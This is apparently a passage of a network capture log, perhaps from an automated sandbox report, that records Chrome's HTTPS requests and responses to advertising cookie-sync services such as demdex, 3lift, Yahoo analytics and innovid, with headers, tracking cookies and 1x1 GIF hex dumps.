2024-12-29 12:55:51 UTC	891	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 12:55:51 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: ea02mg+8Q2g= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v069-0e8ac9087.edge-irl1.demdex.com 2 ms set-cookie: dpm=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:51 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:51 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-29 12:55:51 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	50753	34.241.209.94	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:51 UTC	1159	OUT	GET /ibs:dpid=57282&dpuuid=2E914D972AFE82751AB32520679948A5 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579\|49276-1-1735476944469\|72352-1-1735476945638\|80742-1-1735476946460\|81309-1-1735476947610\|121998-1-1735476948528
2024-12-29 12:55:51 UTC	891	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 12:55:51 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: Ad/5YdaXQgo= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v069-00ec784ff.edge-irl1.demdex.com 2 ms set-cookie: dpm=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:51 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:51 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-29 12:55:51 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	50756	172.64.150.63	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:51 UTC	773	OUT	GET /z/i.match?p=b13&u=81980359511806646913714319239841733483&redirect=https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid=22054&dpuuid=$TF_USER_ID_ENC$ HTTP/1.1 Host: s.tribalfusion.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ANON_ID=axnoeUsKBRxFmDqS86KRhBiEjlMTBbkp0YrJmv4s
2024-12-29 12:55:51 UTC	475	IN	HTTP/1.1 302 Moved Temporarily Date: Sun, 29 Dec 2024 12:55:51 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close P3P: CP="NOI DEVo TAIa OUR BUS" X-Function: 209 X-Reuse-Index: 195 Cache-Control: no-cache Cache-Control: private Expires: Thu, 01 Jan 1970 00:00:00 GMT Pragma: no-cache Location: https://dpm.demdex.net/ibs:dpid=22054 CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8f99f263faa14357-EWR alt-svc: h3=":443"; ma=86400
2024-12-29 12:55:51 UTC	42	IN	Data Raw: 32 34 0d 0a 3c 68 31 3e 45 72 72 6f 72 20 33 30 32 20 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 68 31 3e 0d 0a Data Ascii: 24<h1>Error 302 Moved Temporarily</h1>
2024-12-29 12:55:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	50760	76.223.111.18	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:52 UTC	697	OUT	GET /getuid?redir=%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D72352%26dpuuid%3D$UID%26gdpr%3D0%26gdpr_consent%3D&gdpr=0&gdpr_consent= HTTP/1.1 Host: dmpsync.3lift.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-29 12:55:52 UTC	735	IN	HTTP/1.1 302 Found Date: Sun, 29 Dec 2024 12:55:52 GMT Content-Length: 0 Connection: close Location: /getuid?ld=1&gdpr=0&cmp_cs=&us_privacy=&redir=%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D72352%26dpuuid%3D%24UID%26gdpr%3D0%26gdpr_consent%3D Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: tluidp=1308204673543769676240; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Sat, 29 Mar 2025 12:55:52 GMT; Secure; SameSite=None; Partitioned; P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" set-cookie: tluid=1308204673543769676240; Max-Age=7776000; Expires=Sat, 29 Mar 2025 12:55:52 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	50761	76.223.111.18	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:53 UTC	779	OUT	GET /getuid?ld=1&gdpr=0&cmp_cs=&us_privacy=&redir=%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D72352%26dpuuid%3D%24UID%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1 Host: dmpsync.3lift.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tluidp=1308204673543769676240; tluid=1308204673543769676240
2024-12-29 12:55:53 UTC	689	IN	HTTP/1.1 302 Found Date: Sun, 29 Dec 2024 12:55:53 GMT Content-Length: 0 Connection: close Location: https://dpm.demdex.net/ibs:dpid=72352&dpuuid=1308204673543769676240&gdpr=0&gdpr_consent= Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: tluidp=1308204673543769676240; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Sat, 29 Mar 2025 12:55:53 GMT; Secure; SameSite=None; Partitioned; P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" set-cookie: tluid=1308204673543769676240; Max-Age=7776000; Expires=Sat, 29 Mar 2025 12:55:53 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	50774	34.241.209.94	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:53 UTC	1161	OUT	GET /ibs:dpid=3047&dpuuid=62072665D1BB57&gdpr=0&gdpr_consent= HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579\|49276-1-1735476944469\|72352-1-1735476945638\|80742-1-1735476946460\|81309-1-1735476947610\|121998-1-1735476948528
2024-12-29 12:55:54 UTC	891	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 12:55:53 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: URhBj0nJQ3I= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v069-0a6138bf6.edge-irl1.demdex.com 2 ms set-cookie: dpm=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:53 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:53 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-29 12:55:54 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	50773	34.241.209.94	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:53 UTC	1163	OUT	GET /ibs:dpid=49276&dpuuid=4751b02c-91a9-44d0-98c8-2ce193718c9d HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579\|49276-1-1735476944469\|72352-1-1735476945638\|80742-1-1735476946460\|81309-1-1735476947610\|121998-1-1735476948528
2024-12-29 12:55:54 UTC	891	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 12:55:53 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: sA/dSCrQQok= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v069-0cf1d9056.edge-irl1.demdex.com 2 ms set-cookie: dpm=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:53 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:53 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-29 12:55:54 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	50771	34.241.209.94	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:53 UTC	1119	OUT	GET /ibs:dpid=22054 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579\|49276-1-1735476944469\|72352-1-1735476945638\|80742-1-1735476946460\|81309-1-1735476947610\|121998-1-1735476948528
2024-12-29 12:55:54 UTC	905	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 12:55:53 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: sEt1YB1VTwU= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Error: 300 X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v069-0a04df6f3.edge-irl1.demdex.com 1 ms set-cookie: dpm=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:53 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:53 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-29 12:55:54 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	50775	188.125.88.204	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:53 UTC	684	OUT	GET /ups/58782/cms?partner_id=ADOBE&_hosted_id=81980359511806646913714319239841733483&gdpr=0&gdpr_consent= HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-29 12:55:54 UTC	731	IN	HTTP/1.1 302 Found Date: Sun, 29 Dec 2024 12:55:54 GMT Content-Type: text/html Content-Length: 0 Strict-Transport-Security: max-age=31536000 P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Location: https://ups.analytics.yahoo.com/ups/58782/cms?partner_id=ADOBE&_hosted_id=81980359511806646913714319239841733483&gdpr=0&gdpr_consent=&uid=81980359511806646913714319239841733483&verify=true Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Server: ATS Set-Cookie: A3=d=AQABBNlGcWcCEP418rI5LxgkjDowQsO_U2kFEgEBAQGYcmd7Z9xH0iMA_eMAAA&S=AQAAAgTfjOpvEXGWYwlaL17iqbI; Expires=Mon, 29 Dec 2025 18:55:54 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	50767	52.43.7.224	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:53 UTC	587	OUT	GET /dv/sync?tid=6 HTTP/1.1 Host: ag.innovid.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-29 12:55:54 UTC	388	IN	HTTP/1.1 302 Found Date: Sun, 29 Dec 2024 12:55:53 GMT Content-Length: 0 Connection: close Location: https://dpm.demdex.net/ibs:dpid=80742&dpuuid=c8fd9785-6050-4726-a9f9-b46a4cd24059 Set-Cookie: uuid=c8fd9785-6050-4726-a9f9-b46a4cd24059-20241229 07:55:53; Max-Age=7776000; Expires=Sat, 29 Mar 2025 12:55:53 GMT; SameSite=None; Path=/; Domain=.innovid.com; Secure Request-Time: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	50784	34.241.209.94	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:54 UTC	1216	OUT	GET /ibs:dpid=72352&dpuuid=1308204673543769676240&gdpr=0&gdpr_consent= HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579\|49276-1-1735476944469\|72352-1-1735476945638\|80742-1-1735476946460\|81309-1-1735476947610\|121998-1-1735476948528\|144228-1-1735476951021\|144229-1-1735476951595
2024-12-29 12:55:55 UTC	891	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 12:55:55 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: mlhNMB6VT7g= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v069-0cff1ef06.edge-irl1.demdex.com 2 ms set-cookie: dpm=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:55 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:55 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-29 12:55:55 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	50791	54.154.234.207	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:55 UTC	971	OUT	GET /ibs:dpid=903&dpuuid=1583541f-3b09-4660-8f24-5ee8afc5ad60 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579\|49276-1-1735476944469\|72352-1-1735476945638\|80742-1-1735476946460\|81309-1-1735476947610\|121998-1-1735476948528\|144228-1-1735476951021\|144229-1-1735476951595
2024-12-29 12:55:55 UTC	891	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 12:55:55 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: V+Yk0ufpTVw= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v069-00ae178d3.edge-irl1.demdex.com 6 ms set-cookie: dpm=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:55 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:55 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-29 12:55:55 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	50786	54.154.234.207	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:55 UTC	968	OUT	GET /ibs:dpid=1957&dpuuid=36FF432003A167C3345E564402D36635 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579\|49276-1-1735476944469\|72352-1-1735476945638\|80742-1-1735476946460\|81309-1-1735476947610\|121998-1-1735476948528\|144228-1-1735476951021\|144229-1-1735476951595
